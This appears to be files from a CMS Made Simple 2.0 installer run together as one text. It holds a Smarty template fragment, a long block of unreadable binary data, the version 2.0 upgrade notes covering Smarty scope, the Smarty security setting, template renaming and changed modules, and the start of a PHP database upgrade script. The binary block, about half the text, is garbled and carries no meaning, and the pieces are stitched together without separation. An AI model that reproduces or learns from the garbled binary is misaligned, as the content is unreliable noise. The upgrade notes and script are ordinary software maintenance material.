<a href="http://www.cmsmadesimple.org/donations" target="_blank">{'step9_support_us'|tr}</a>
</div>
{/block}     ۖ\E-~@~@Tq(D/1ͥ̌ןi+SB%ݔH!v/~^?bCkoxu///׷_ǟso</ﷻ]_w/	KdJFc݈s<KNonnm߽PN>K-D[BK\K-rx}r;BR2jlZ-tKHٽ~[yq-
n_tt{7ۛW7ճ+]鯕7{+AN\|nb|䑛d1xzU!
oƷBc^ƾ-X:HnOky|n!Xcʡ9,WCgkv=vW;CF:`*꜆cL%G8-R#eٛwҿ7!5W'%eӼ0؏ϛ{ѹZ1͙ 5zykۿmW]~{D>|d̃F)PGϙGgSŝ"zzۀn+L$R#Ilep'}.H%8i;g|u.Wם]N>}usX1xct͎^orq2&ukkSun#c6Rd7Fo\C=MַޓqzHw[]i[7%xIq
{5 %ʱG̏r${sin_8'2A 4I=76lDK8_Jʵ`r9$5z|4F>s^]t@rb1 A¾6+y5@ 6jBfzpl!\ۇ	uc\AL%f?6y}; ;<H9P{929^2ֺ_ϵ= 堠UB &K6ޭc]sIEZ|
?;XR/yN'xeXÙgʘHn`:ɧQ lH^?.4Jn}t@pz!Q^P["H/mB5 fwo_cvy>pB\EaBCðý}zn
vYĚc+~I<^PV{5Wc+@FKBD9n?n/7ejjf)'?%^ѓlpm6Z.IM"7`)57O8h4B8fQE>]
4n-؟,'G5sF94@ ;%X#(ٔy_sjq(pol+ Vp`=@̣)%Jݽ'4n	hy0h6#9KXq8Oq07^&V}u8t!
,
6stôJd+%(3:gKH9t>15ZX6fo\&FdF?]m\;-pg/ؠKϏ	@"\mL$5Cɍ Nfv6&gGDsaalMJxjd)wey=hPY:rҦbBLNy=LkY8H6!t:@&=[^0D! %v5N[9yg0c%8̨~!A7>qZR9!R:s fEP7%lɈ7==v5XW| 4|#_s N!Í	FY
E< a$pAhZ Ur[3Kp 9
Dgүf*ޒ(X9{bWZDIH|قa=B  :H@	υ>?8P"ζ#1Bm'k5QR3aKĐh*l噞mnzǒ+U8S
G=KҁfY#}"؎CW0nk8lgV9sKP+35	Y96nwt=[7"p\2,&)ԓn,PHK0Bt(Kπ,,|43x4-QC.Y^ɍ҆mCR+$t0G:s 	^+^>k'!nWBKϏzGt]<~rA_gXs@":0<)KR{jg7&gRUP%Pg7X!TsmqH_QZpvonN,v3pWN.px;)A&oQ
ya=2#!,4'
xֻqŴScIi@nAX@g1 ""pǀ+ v@jC`(7 |a˭y7П2S}?=}A 08ѩ:c[xx6Wsct] .Y W ^0u$=Cy{㜽(=󌮟x(ެWoSXcEk͘3Fz$pj&LDϥˈH%:9sKJGֵĉ(cS<no0%@Yr Wfi{3)6$`ZH2D;j3A+Jr?ſM#3eMW|(\1k-䴳![^Hl*ABD*q42?owZfPoySPW@dsP!1
AЌSwgc?}?Kn6o0TCq*]^n,ã0 l"('kEʩ	_}io'O&NJ6W(y*ȉ@Omzfwg:BͺԯL?$J5% wPP{C'~${\neV4
f)'cJR|{TPA8$ꭗ@cLDvIr")'Nq|=7P/ɆG ZuPl˿V࣢QiU+|EO-舜TZ04-8PT* 8]@19u
Qe-~ll-f'VbBomTe;y牟\~>GG:|ٗ鯣G<g'96ڞ#SS4defg[<<n}\DSJKKݻ)qLs2SZ_w>J14!s	~=1苯wA[lɖAf*%sNOl7''|77_k6e=n(ZL;8LrXn|#0ͬk)#ckkEDրi ^|֫qWjIKT&PX
c_嫙^>1ŰiP>\t Mۜϊ ?==ݲ& }GAd'"GxJϭ#<=nF>Bܐ;U&;ٛ6SDD5@N!JG2M3#[4}G7WGވ{꣺0N!g<*F1mY՛gAW۳P5M@(S彷H\o^nR;z2H:*6OHpE{oҕ,:&fp.
p%Wz\r 6|$D(E/	j- Ľ}>8`%g- l{B1[^}X@\Z'M
7㚴@5]8!(U`k׷-|zI8xJQƨã;MX9PoGp`AađڋlM  fV
Yx)VD}#~́ 85fZwuDkit{%+CJ	5-3 ã~ E}%e	 3=[CqLЁd;4v_2KR:d{:߇'Ol6)rz>-?K&P%&ZKQWڎT!NLrۯ.1[>X,0]O;[5<1pGĠ *M3&23[ͦXUܓXn8 3R%T<8X啅b ұq0Ǡop>;Pܣۜ8M17ɐYLmºX| 7˥i?ǾxGÃVnxaqI
u8z8Ql2֬M1s9?ޗ4Cҧۤ0xƐL3lxx'KzW^h1ݾ</ի<9xg}{Ä_`H3(t"OKBV/^=wM"t8𰀵Ad}U_a聟kK[]H55@4v,S&p/߬ik{8 7%bHKBvzDWŎ(zuX-TZC꒐'IW`Ѧ⠎mmHc.O쿎@g
+G_^֫ikg#=68
%S$d\ik*+Tnh&.o=wM"l]##ɔbK82$#`pKBnW?<wM"pi~yhP,E56o^>>=]+fdRDՏc__rqh$2*CPI	ށ+cmEŋ'.wx`ڱ|<!ڬ|}Dg@(1t{gv~B`<O]ӍGWq{TG b3 GO.d^|b\8)l׷ܭɢ~mW/ߥ"جR(_ ?	~׫ik_c-}H,Ytܨl=*aE_Z}z=hlE6Tc63ﾸڮ6AC$P@ _t!>-V{'3y"?>֮,Ӭ_}DGI7+[oAF4[ҹ,	VߏO]ȽӀdi
9׃!p'I}i~b@aؼuSrnO'5D/'Hm5jA6}3讷^=1]D w&d52^>nӿI  猉T,<Nj?q9ݬ7a/<|T.LUMXʢ_շ_?=}{sߡG!f_2<]}tYEוlZje5ȴJ̹EWO'{w8up֥6 brRvúI^| Zd	h@QS hoWDWszldtM	[eӿIm 'jϮjx~QvOO7'tFFO̽j6w
ș__>1_K˄ASɷz׫WO||5/Z GY_E%9A|"]}Ĵt ,zWlMz j}Zlx6?>N"}ɰvlNOLEɇ迮^==N"dіjB0
G%sh$r~\v'Fe7LJշOL&e)/uD0kAĴq/AOM*n^ 9hUhZnJ2Z?~vM sL^=tXV`{E@}C)݃3'pp2ހxjG-ɛuH6!J:LqXލ%EZČ T
0CZ1`)v"}Y^OZg5[Py6-0:[c_dca. 6Tk,v$U^nZ-׎vѻ|(ٔdjɚ\3=gfzg[dҒ{*MwO0FTY(IZjH'S{u>HYMe!f1r1.0
pÄw*1QoD`29vzM]Kce9+L
4#V<V9#B~(V" uk|rq=K}tG^_]LY~ Sz׺G&gE,wWGMO¿hYǄ *=8+L$tm}gۻ?VKeШhfyجP,x[\anYS}5H<*E~ۅGվ5SMjC;mg*k^XY">L,>-_j݂9@?FA]m:w\}zdqey:ei^F^y̝9"X}(YeکѤfq&cwo5#j(ˠUi%2D+sBZj=sgI	_),ܺ`x*;)5I6/MC,*Y.]4!NJ>	U]_cE%BZKMd~ߦ<|Ǥ< idMeɋ#x_~uuĖ`.k=i꿦-h8Aߛ gu.u&͝$IiPtE0J[zh]dSaT^KRKwЬ/^ID0*H-FKxC^g[&k*a*|aY-k㣁qLt~
iy5+\}d5A(}T|oPw'oNja7Ԯ֓T &W-J\^/uREs6jRg,V$K'Z<A-aa`;0Vei{I-Z05\{-E'ʠZǱ3 (%!X/e{GFޔfY <7A|);S:G"&~$3t<aQ֥ƅJZ@ƷG2]40, Q$ gY264ԋ7	+7<C`#'D/CroP쀘-P)(; ݾJ|D1.6	/xpuYuL_F3fLq@eKH\")w#y$
_S0G83+/cwé1567ԥTHSmg@[j{c~&])Gvv>}EڟiSx_{Z]5$,]n֛o6t3+ICV[fкVp;<^_:/<Cbb
doU{7WY#(#7}@Τ@5=5*VbPΒbdӼYFFdUl>|<to3bl>:&$Ri~bR\d.+egI=ϼHWٵ2,BpE2KBvj=sCcӇY6jɦO9kvetcĞ+pڠ<x8rPy>}[`Ƞ<>G%s)l̖)ȏN,\5J!jlN~;(:*tP*	{Cpa*&꘴2y);'GM=|q$B,tUA-s'XIjY-:pjX:uO
V{|M18A
z+N|_mr*ر$,Dp&l^4 :Mio2ڍ !_*X-bJ+޸Doֻ~ER4%7HyĽlob`mUiu]s WۇUm(ml:}ǅnOz֛. sqD/LMQpiFh{}N]9pS}z=D}_g}I^ 8CD-_?N⸆"k[Ѽ[hl;o-z$Y:RPEtg⊵OlU[}v%}+w`]23֝p	v/7Y:a_5xVC倎$xF$e >Jj-BfC:^88m훅*qhwēIBҝźt}D` IEMɖP"3+OPd?M!WMȂ{c~[mO޴=n&>􊺚FÈ4I_(WZDeZԊى sɈ|};eJZYЮp^uN `t05iu&S<62@ea\AU˙e\Vo7k9׊ *ȼklOQ;=}>=G[ N+㔂E M	aOPgV=bO`:cvʗNZqxZ>DbOXԭP^<$LkoLz^ C}6s1PTc$DOV[j؍uNþD^ߎ׋ׁ#r|hZH@^=<0Cذ5|zJ'~9K7t+oy7K<xw&aAO𯴜l׳K.X*H(6ot,Ք-c\ 6|vFaΟ.aMYc*S1H66ٻO괥AeŎԁ_*t5ޭrZƲf.*
(Rv5A~v77+
:R.Z(AyH$ 	MqM& ,3[T>,B0  X8˜/ǋg<Ѓcժ2fl65/zNu/=8nW9@tZ XfN9u!z>xuu!h;AkIlLѶ_vqP+%(qes+lrgR_kKtxGs hMWeP	ۥa]Ϧ
TZ;Bv˦:﹃md߰W2!ha]!Nz2NҙH+,7V}|<&~#Obiul;{`	6h
Mf#\:կN
?6W14MjwFh'Yf .%BKbCx<_א^{(kt&-)$\[̟ m꛳5R_ګh`Yk܍-~O)0~u&zgD![mkd|_͟)fgX*yHE;KruR6,?	
Cme$c&*@:r)HsfݯՂќJ#5_B @a=z#XY]>U='vwcJEs&^8HTF|)yG7k~Vu¥e
P3S-Ҵ@\WRB:m	0%NK4% 	w]@įGE Z餽OUm`hk\\cx>~8-iK(>3T0܌Z7wiJ>Y	鈃{7|rDv1j[U-)jwԺ>; ]]W"IL
%5"$?á7!56TMr;)l{M'rUrI+8#R_ym=c>:ZJıT+>?I#/@ri#婜y:BﮮvfrQk'TZ5Ek%V>^,Kj礡`ptj繸!ZVb:m8hhxdN (flJ
P6HOչf|͟(<>þ8&	mU)#L8OLrB`yjjHBG>.V؈km	zc}Gڬ	k +Aspvw ss[i~n^(cLiA*gw)$=ر%.i]EFSNFn,@hU(9Ue7Xf<|fZzXeCX5E.
H%/R{nwP )}@j7[/-GG%)=>춸+04i{^pT	sre#jWkV:5S˹l3e51XHi<nPݥ`я譿'+g-+MvJv?SەEod86$~I/Ww%`i״O.EdEG,̩1ĨGhS[3iXЈZ@c){'"/`16۹v  N@:=WAuy*mJSBg.<!Ͳb6_h0[R<YNs/yф#顷юS̀~?M\dTp $}M5d,t9"~ncRp l47T2⃛;snsbNEY	)jƟg'˛mHױSkoY׸ˇ'R<M^XƢڣZzʳc	PFN8L/rFv1JB7`Nyc Vb/֠ŋTY.-f2e՘_/%1zj'dFfi#=R/BE  %3MKRc9ʞ-pPp>E CSO[^MWYf˪,i+0 Svŋ㏈\ߪ,]}ۖئew~@ޮ7fl+th2Ik)m&F´~&~}zqM=	ht {PT|\P
9xѪ+h\]_A鍆96xܮMۣL)md%460sn$ZcF4p{v=1y+D^)g(?:ZV;+ܰ
WpvS'Mnΰkٖ
b.$ ~<Gn``S7Aog}vKڑS%ڂwn'#Fqttk}&tnOu?t+-J7PKAV7
V=Z}೷s,	r@[8?]kB|$Ͷc%sNs֝]:ڔn>?L>_+|X@h ġvݪNY7mu̹PiAknP&;G	~dÄS-c&ZaO,vd<ۏ&Vj=߃lQ3dPdSqAg 	̶d.iX-ߠfs W DAu WD.T}_nkԘiU1[yF&[Py?X@|¥&ҷjzipQDXRTP!|o(4lFdm!bfs r~+urA_ij֖ڡx}O=kю[!pണ^ӴRmLsB'I6_e%}|*c'}>/=(3/ZPR&RUldwpemlJ@P:;y8͍L9M8S	
V^[4P&-,c2KĉwZ 3Kp3 pRO[Q[XG|	L,coaCCE!qFT|E]Qp(DG@}57bkN:h'"&2}59jEt/nRnEhE&GIgNs v~L!dնUx?s LU5xX_R@nWyOJjd P;y\6DƪP-`9uMDPx!?Ic/KZG'+^eK-C[8>'teD0c|Ekq굄EjeYuPs*$QZ&n+L[z]G]Ev׺ȣ("h귨ǧKDF$ =ᲫZ:ƃźQi9Վ4nGnٯ`V\kYM7?x˯kʠZӵ B
ȱPE3/_[ūv(ć|llVsZN/U&w֥javy~2H,-|8~)W_~ev@cn^Bz7ۛzpZqOMj/- ~=P٬7x}]?߆ |zV34frZVZ`smmDf${ܦKHՋr5`^pQv >8PmXGh2q4@>,AޤvDW߿[ϗGoȊIZ*VYԍKy}MhߗD+0]^n׿<305'έcpqd]/}]rXu`{V1LQ@SRt_X*pSqWjЄ I 4zޏ˟ޠ.^ͰzKŶ 2BO7X7~8,?@P"7W[^,QCqi@<jDk]mTL-?2Q^ܺ \Sb!$G\#!}pb=N#J|' $ZJ4gT9%xc͐Vq8u;1ӻ
CA{Ǻsrj*zb%#X8c.sj{#7dd%&- v'SkW]xhZcgptDPOST]4i_mNY|L"}:g_M[kUwNE}k@TdT}}nt=wK\ԋG`׃ϚAt!nzٍauGSk-O##@I"{
ksB9k"6#2;eEFHIUJ&AOS߿~2ۧdhL	<Va'ed0;[)UBP"=Cic?[zLq}}6L;e`JvaQ`BZC.ĮxfKǖ6BKvndkVSGo0J E78Xj)p׃:?:5
8M(JGêǃs8F&݇i eդzVj~AN3-4{Mfs)s K{:U~POqzomn7w(pmit(s|;k⟇ң_%mEh܇/mgޮo94xDإi-)˵2u1J3.iqīJ/eOZ7aC,E5t>p<MA!V.(/)^$^MجO}'yӛy纖yX%04>>/^~CZSz2&>2B.?>v?~f̴m!d0*a~۟\~J`,(W:)kw|l	#n	K@+LkK#$qrNZp P-ڹdHy
JܵazJ+|79Hii݉b4<ZRku@l\c msP9Ƃ,e7U+N0P(6]<Xbr(hMLŤ($n⒡^ιi~ɇP`AaXe0nFڥ8$ngvFgԒM3R2bfe\73 7ھZ"4M3EpÌ,ԓkƇgu{=bZV
~PtPƁ^ıEk)c/jHكI⊾ɡ$T;m˽żƉfxn&A㠡/]`C>C-V<EU`1ҁXy2vxVɘ^5I5f<˕p7OiVH2 »
\&O*ڇmN.ˇj5EKg=JASaez`'N  ˘b1*ŧܤ^meHєSz^H0`n"(j:HfֱR4QS ѡfɸ* 2@@|E羧+hHjJΦH6"C=%fka -Vv輦ʧm
d4 6PGNDNצ) TZ7pJ%x=Jݜ ?z񔻷4I MxݴcKT4?j/~Ǚ.~vp)-SK%-r2 ~+;Pt
J&]N}X̥	Lc\A.[&4m}O'@nt36){TLlN}쳍l
)s'/Dne袜zs4pH@ZD#Վ \Qv<rtyojk;ǤHFuܦ@1oJ1ת/ fk%pgKP6W}8E=5^59;-\;*gǾևraBSEV>hLKw;Q]˩
C>7{on)گ%L*#f`ާV
~O',1e'_b*"O!d	 lm n, %7M9Z?۶js\#yJvk:knW>-vq6'X8uatZ'^vF5W@ 6P7dIiblV9[[	Pkt\Lz`꧗FRl%Mw6z&>>?YtBMCӍtl	.v?JoI{丒ŎUNP(roiLW0T>s]}u=ꞻL]F$iS*3,+OX_W^5[U[^m7P|6/_.TW#C%6 4}s^?]JAY%-ppOX۫o@>kQb|T7QEجW/g:I5靴^Oޭi^`%:X2}X!	~9M5ϗ4Fa6gpeaYj2hk$pf^s0SLRtT11cf!*_`1\}'._)/gkK.#.NҡñDP0Eav`1ȝ<R!LZ	iϟ"W}OC
,ek2XOū9J. O8i'`69EsbJڒ5f(h"f8Adz1vr\2+ń	NpՏ?}L	\\`VIRћG{ȋM9{rWh)AK͉,fR t_W*DfQ1n~=60͒S5R${.OT/)q51(5*}<o?]ݾ{1e)Ǭ#,f4pvgmGF]nGU~k.<`>.S3xNI_ja$ѼKx4qjNEYؤ} "uz*67lһ*dʨ^KPU%TѧGqq(#vAE{: /s<{aLi>:oab~AW٧5MhGDudRq2)9ϏxucktˍOh3݃F'NԳ+5Nhd*@Po)|9.jKw8-Z1ͬgSx>bЭ>(+%2X&Al-j=1Q8BRn1͔@}|29zpR67VSSӉMN=%"]3~y)pٹQSRE#ݶ`)yĮ-,4/g:ň=TM>\ifPUhP+O-tlcrX 'AE#ͺb5;9@ЦuЋf=Yƹ$cKyz3u	v!:
oVz?]xPfЀ'Gc#m=)} B`<h.[%-Z6%זj;>#wIe
b2ksV`%)2zHj{uч
AHaL5-$PR?r|_M./^[hݡjŞ>N@"Gw]-i6(3KhII
T5b·6#faA$p3lzպNDzM6ǽzRm6ȻK@ĽLևEz:l5㴋RA@K#\^ RI\6p.(>=pɷF-iOp5
=T#3:̅#|AicCd;kKFY&:|B7@zvт,.J |٪mShP)ݰ'(Q8{iT|^6oYۂww0.G2 PAzT𭗍t	B@E/]Ca3Zԑ1tP-Ps!JKGYڠ<>Xc}/V4_|YI+ {.Pf}ԾU6qu\6f,68P^: \/!LE{cpVJ }=	cezGOjnV궒Ew4!$'FA{	Zwշzα$@)([AR{ȃ'Bl+Y,D : }S=L:u_#w >ڲm(Y8:(^zа딀uKeGFU0!zk#TzB_0 :(W aBȔ4@,֮&w}WJoe+ǇWO-5F)be,x,ƑQnE'j\w>XMKNs|aiZOK0B+_B⑵\aYRU7oMhBׇf!6%iA/״Z,G7_4V:`:6mg;K^ePLG3KP9W/<i(K;Xg=+7.ӂ/g^fj;-ʡyǦ/ܟ%fWF"(]ɕ{k7@3
Ipӹ5حymڅgKg%KT#'i$SzBBN=> 6zRGt"JL2"`~˅:7֦KR
*v]g;V
 @v$8*o*_xej8˵X`QcDf{˔#a<\[En+O:iRTsGXZRi<U]HSvb)>4sJڡ1pVOz!?ΰuDĴ<`ȵDZ[/f3ֺ%h99KϮ4bct!r<ϽF `m`!tPsY%quߔ8#+0Rm4%Ե猵jĿȩܪ>P-s9#s0`MA4h[(&Zwl*74zgA1#"hL`aOX9p3ׯH}΋s{F QN6ًyLk[AEcJ|O5sLgw(DK^Rq22 &wtLU_f~;:Ѧõh %Nb-057@˟=Nnf.)d`Ea9gTuGm66`C%5iPgSY6o0@Ϟ^i`?8xg{y(^rm)gӘu)_6IfEVP6a!2`Gq?{?OKfP.,=@]kod7rG	ߏ$`P$kI4:>4^Fnۼd9dU|mgݖlGn_=T`oXRj]\;<><~~Jѓtҫˬm2mllo_3_P͊]-Ci\/wϧ:f	>,va} K{toNnqfLdul!gFۀ)M(j 01۟)||(8Y~:nHvd@)ifk#~gr@}y1]6cy!gV\)`Y$6Oeʢ؊Z \`r>,i"x-""A&].;csP A]뙌*Y4x1)÷CVwBW5f^u*BY8%2;6{3{y904du(Hy1&o!>Gi{]a:kWm _gǬrpX*:}x;2a:UO@R`%$8duoRsl3aqxUj]F3٥e7ᤪgw#+ Yș<8' \tѕǙ;~y	c>/"vy۾Ux$⍧	˖} 1ß8&U-V3籕IW~dق>)<k]|<NxT
]W't*R3ΨVVkm!,a6w୧>Q7PWG6fyk&u3# @3ʒbXBvWy5^++2O|뎭"U^Tz|سn05G10$s%S%b^YL4TB<6[(?5]fXn0":aQV&;Qelس~bFnL,`pat^+' xCK	\2b$ٜfUɿt   p[PlB3#wUkm1?7@kن_2͠P4 ./X.~R?>v[#,ܢ`6T&;4}{w{'^UMqրG|e%)J Sc}k&PVs@\lJ_fß~t_oï3'1N=H{et
֙ܝy>ܿX$Oc6qϰn#es v3SA5rGp^|p1eߝkFD'" :b)ytO$
cb#ڰc$3΀vxe$hIİ7lp.{[5z۱b bwy郏?>2?xwK:`^Yb޶^<oQ__(1# ۧT6	5}æxe"!=aCUAIMr~ߟK`	TR{X?7fQNoc3
i$@Rj5d;]|^[(6 A A$|p8jm5rlkaY-|8*jZBX	4BfQnbeݱ'Hzr	benhLd6dMCyQ&^1β4f3Qe3[gmqz),n& Kv}YV4e3#ΫnN/ ݼ,+'֪52jdbe\-V	n4ǬYnz8z9; 
>gRɾuʫemEPl,
cg^sLYC5~tY]V{T?/	^OeQRX^KfmeT-*Xm<-hS(FeeQbQGٽ\)'5p d^vMYVT0s!aو(tMqt5β'PVft;F٭+mLkҿ |-?Be,+J&5}(- ةIuВzrcv,d|-P^GuIق1d̎]QAb&^ޖ@(j&搌!r	^uO\gW#F 纒k̂9.T5)iDR&k2?}lX>Xi0Lq8*t[v l{*ewk.#iT׶Tz̩Q\;aQJ)vp{~m{XyaՅ:bdn3OCӹ/T)Q)c%^noV=29o{YIFXpv<#;m1{{o"M!OF7l ٝL#[g[<܂/὜{O6[,ӎLjg}Lec+:cxȼi~mקucZЭMmj>kKmACEg :iKkͨNs*u	7>+KU|L;3*/lsU*
`Whuzm+ AUba
gI_ͶzʋmJX^%Lʬ 18ǻn+6_[&ˮ7~,Ȅ}@;`w[A/88O/XaUK\A	V[jXn4=\a5  `9[-ƚ#vWŕQLu3[HJwp @wR³j9
60vLb]Lv}J`[Xh~W29`@R$a} b
6ʑ}t9An:V"lFӏ~cK>6Y(J?k#m)`JӉ(:euհeCT 0㌠,daqn-y^YgΆ4mx.&RMMSGR9,YZ5m Zҏ싥6F(j8b qR;Zl5#VhE^zd`( Ͷ&?#<bsۖ>gJF,L ǔJ e[LBEH\&/e:RE0HjShVO$2x(!eMmlS{d-52>ƯE2AH0 Ƀ'V4+H$?)n<&sh_,e227!Y)aaD'v:=u0ԫ:Hr,20~4 5IJqZ$^{T$ T穝3{4#OGU\yѐω,rW9'Pci}Ś/5-Y9A"Y^Ry?}"Y`Rء{" )2:	 ggf%R5ִ@CSke.V6ITz/ׇ|Bj|W x#dn[w|5K_xKUYW(ݨXG[jZH 9Y
XFpyaŞ7Va3VS	0;&jke(Dymgcxx9굦4 5%DVml;N^)9-b)j(vTឍrɺq4po^t_IIVK)Oaj]5ب",͂93>Yj*Lc gq{5Y}|v6ͫ	kL("sFz7пY3kAw1j,WTs>0ہ<)WXjؼ,{akh,IY,X~dPZ7Gs8>6{7uvaV5nSKf|01Enyv A
8අ4xTX2. B3ƛ˽b'ySY&x>etD|أ?zaH_nxwM~ӫ6耚[k%tv+-Uw~۝l_NJED]]{oK^~{;`cl_4ky9NB{$_oeoc]?j?%@bo6<|EL;- &i#x)6lo=\&Sof}\c6_>a5"
|G5yO\+   `_ CMS Made Simple Version 2.0
---------------------------

NOTE: This is a major upgrade and a significant amount of code has changed in this version.
NOTE: Many sites will not upgrade cleanly.  You may need to spend some time resolving various errors.
NOTE: The CMSMS Forum at https://forum.cmsmadesimple.org is an important resource to help you in determining how to solve problems prior to and after upgrading your site.


----------------
BEFORE UPGRADING
----------------
Before upgrading major versions such as this, please ensure that you:
  A:  check all of your modules for compatibility with CMSMS 2.0 before upgrading.
  B:  Ensure you have upgraded all modules to their latest available version, as this should help ensure that your modules are compatible with CMSMS 2.0
  C:  Ensure that you have a verified backup of all of your files and the database before upgrading so that you can restore in case of an error.
  D:  Completely read the announcements, release notes, and any documentation (including the README files distributed with the installation) before proceeding.


---------------
UPGRADE ISSUES:
---------------
A:  Smarty variable scope issues
--
Description: CMSMS has updated the Smarty template engine.  Smarty variables created in one template are no longer automatically available throughout the generation of the page.  You must explicitly copy those variables into another scope using the {assign} smarty plugin, it's shortcut or the new {share_data} plugin.

Symptoms:  After upgrading the site you may see one or more notices, warnings, or fatal errors about 'undefined index variablename'.  and other related messages.

Solution:  You need to find the location where the 'undefined' variable was created and copy it to a global scope.   Using the AdminSearch mechanism is a good way to find instances where these variables are used and/or created.   Once you find the template that the variable was created in,  you can alter the template to copy the variable into the global scope for use by other templates.  One way to do this is via the {assign} smarty plugin (or it's short form).  i.e:  {assign var=foo value=$foo scope=global}.  Another way is to use the {share_data} plugin that was created for CMSMS 2.0.  i.e: {share_data vars='title,description,foo'}


B:  Smarty security issues
--
Description:  CMSMS has enabled the built in smarty security mechanism to prevent editors, or content submitters from entering potentially unsafe smarty code.

Symptom:   You will see the 'Oops' error page with a message like:  access to **something** not allowed by security setting

Solution:  You can enable permissive smarty by adding $config['permissive_smarty'] = 1; into your config.php file.

Warning:  We do not recommend the use of permissive smarty on websites that allow submission of content by untrusted users.  i.e:  if you are using a module such as CGFeedback or AComments, or allowing news or blog article submission, or uploads by untrusted users, you should not use this setting.


C:  Sites that use multiple templates of the same name will have difficulties.
--
Description: If for example your page template is called 'MySite' and your MenuManager template is also entitled 'MySite', then there will be difficulty with the upgrade to CMSMS 2.0.  This is because the Design manager module (new for 2.0) treats all templates alike, and therefore requires that each template has a unique name. The upgrade process will ensure that all templates will have a unique name, however it WILL NOT touch your templates.  Therefore if you did not correct this situation before the upgrade you may encounter errors.

Symptoms:  If you get a white screen immediately after upgrade, that takes quite a while (up to your PHP time limit) to complete.  And/or you get errors like stack overflow" or "timeout" or "insufficient php memory" this may be the cause.

Solution:  Go into the design manager and find the new name for your child template (i.e: News, MenuManager, or some template from a third party module) and change the appropriate call in your page template.    i.e:  If You call {menu template='MySite'} in your page template, you will need to alter that call to specify the new template name.


D:  invalid characters in the template or stylesheet names.
--
Description:  Previous versions of CMSMS did not have tight controls on the characters that could be used in template and stylesheet names, GCB's, UDT's, etc.  This presented numerous difficulties over time.   In CMSMS 2.0 we have tightened the range of characters that can be used.  Typically these are alphanumeric characters, spaces the comma, dot, dash, and colon (:).  And some UTF-8 characters, but nothing that is not URL safe.

The CMSMS installation assistant will clean item names (templates, designs, collections, stylesheets) on upgrade, and this result in errors on your site.  The errors may be something like 'template not found: cms_template:foo'.   You can resolve these errors by making the appropriate changes in your templates.  The AdminSearch utility may be useful in finding
the places where changes are needed.


E:  Database stylesheets whose name ends in .css will be renamed
--
Description:   The extension .css is reserved for future file based CSS functionality.   Therefore any database stylesheets ending in .css will be renamed.

Symptoms:  You may either see the 'Oops' error page, or you may have a styling problem.  This is because the upgrade may have renamed your stylesheets.  If you are referring to stylesheets by name you may see an error message.

Solution:  Find the new name of the stylesheet from within the Design Manager and adjust your page templates accordingly.   The AdminSearch module may be of assistance here.


F:  Database templates  whose name ends in .tpl will be renamed
--
Description:  The extension .tpl is reserved for file based template functionality (useful in modules). Therefore any database templates ending in .tpl will be renmed.

Symptoms:  You see the 'Oops' error page with a message like:  Unable to load template cms_template 'something'

Solution:  Find the new name of the stylesheet from within the Design Manager, and adjust your page templates accordingly.  The AdminSearch module may be of assistance here.


G:  Third party plugins in the lib/smarty directory
--
Description:  Third party plugins that were manually installed into the lib/smarty/libs/plugins directory will be deleted on upgrade.

Symptoms:  You see the 'Oops' error page with a message like:  Syntax error in template "tpl_body:7"  on line 67 " {invalid_plugin} unknown tag "invalid_plugin"

Solution:  Copy the plugin file from your backup to the <CMSMS ROOT>/plugins directory


H:  Old plugins may not function
--
Description:  Some plugins that were formerly part of the core, or have been deprecated, and may no longer function.  i.e: some plugins like {toggle_open} and {toggle_close}

Symptoms:  You see the 'Oops' error page with a message like: Syntax error in template "tpl_body:7"  on line 67 " {invalid_plugin} unknown tag "invalid_plugin"

Solution:  Comment out the plugin call from within your template using {* and *} ... or replace the plugin with a different one.

Note:  Plugins that ended in the name 'close' will not function in CMSMS 2.0.  i.e:  {toggle_close}.


I:  Module use of CMSMailer
--
Description:  Some modules or plugins may use the CMSMailer module to send email messages, without explicitly declaring a dependency (modules).  The functionality for sending emails has been internalized into the CMSMS API's, and the CMSMailer module is usually not installed by default on an upgrade.

Symptoms:  Various symptoms.... fatal errors or warnings related to sending emails, or accessing a property of a non object in functionality that sends mail.

Solution:  From within the ModuleManager module, install the CMSMailer module.


----------------
WHAT HAS CHANGED
----------------
Note:  This is only a brief list of the major items that changed in CMSMS 2.0.  For more information you are encouraged to view the CMSMS docs site at
https://docs.cmsmadesimple.org and the forum at https://forum.cmsmadesimple.org

1.  New Smarty
    - Introduces variable scopes
    - Introduces the smarty security policy
2.  New Template, Stylesheet and Design paradigm
    - GCB's are now Generic templates.  There is no WYSIWYG functionality on generic templates.
    - All templates must be uniquely named
    - All stylesheets must be uniquely named
    - MenuManager, Navigator, Search, and News converted to use new paradigm
3.  New Content Manager module
    - Pagination, Filtering and Find
    - Now handles many more content pages
    - Locking to prevent accidental overwrites
4.  New Design Manager module
    - Handles Designs, Templates, Stylesheets, and Categories
    - Locking to prevent accidental overwrites
    - Has import and export functionality
    - Makes module development easier as module authors do not need to manage templates.
5.  New AdminSearch module
    - Allows searching through page content, templates, and stylesheets for various strings
6.  New Navigator Module
    - Allows building navigations recursively, is faster, and supports more flexibility.
    - Templates are much easier to understand
7.  Enhanced and improved ModuleManager module
    - See stale, new, and old modules at a glance
    - Easier to use
8.  Performance enhancements
    - Throughout the core with a focus on speed improvements for frontend rendering.
9.  Removed CMSPrinting
    - A UDT is used as a stub to prevent errors from this.  But there is no printing module distributed in the core.
10. Removed old, seldom used plugins
11. Improved admin theme and API
12. Improved admin navigation
13. Internalize CMSMailer
    - CMSMailer classes are now in the core API.  CMSMailer functionality is only a stub function for compatibility for those modules that need it.
14. UTF-8 URL Slugs
    - Just like domain names can have utf-8 characters,  URL slugs in CMSMS can now contain utf-8 characters.
15. API Changes
    - API Changes will break some modules.  Check for compatibility before upgrading.
16. More config options
more....
    - Almost everything has been adjusted in some way.
<?php

set_time_limit(3600);
status_msg('Fixing errors with deprecated plugins in versions prior to CMSMS 2.0');
$fn = $destdir.'/plugins/function.process_pagedata.php';
verbose_msg('deleting file '.$fn);
if( file_exists($fn) ) {
  @unlink($fn);
}
status_msg('Upgrading database for CMSMS 2.0');

$gCms = cmsms();
$dbdict = NewDataDictionary($db);
$taboptarray = array('mysql' => 'TYPE=MyISAM');

verbose_msg('updating structure of content tabless');
$sqlarray = $dbdict->DropColumnSQL(CMS_DB_PREFIX.'content',array('collaapsed','markup'));
$return = $dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->AlterColumnSQL(CMS_DB_PREFIX.'content_props', 'content X2');
$return = $dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_content_by_modified', CMS_DB_PREFIX."content", 'modified_date');
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('add index to the module plugins table');
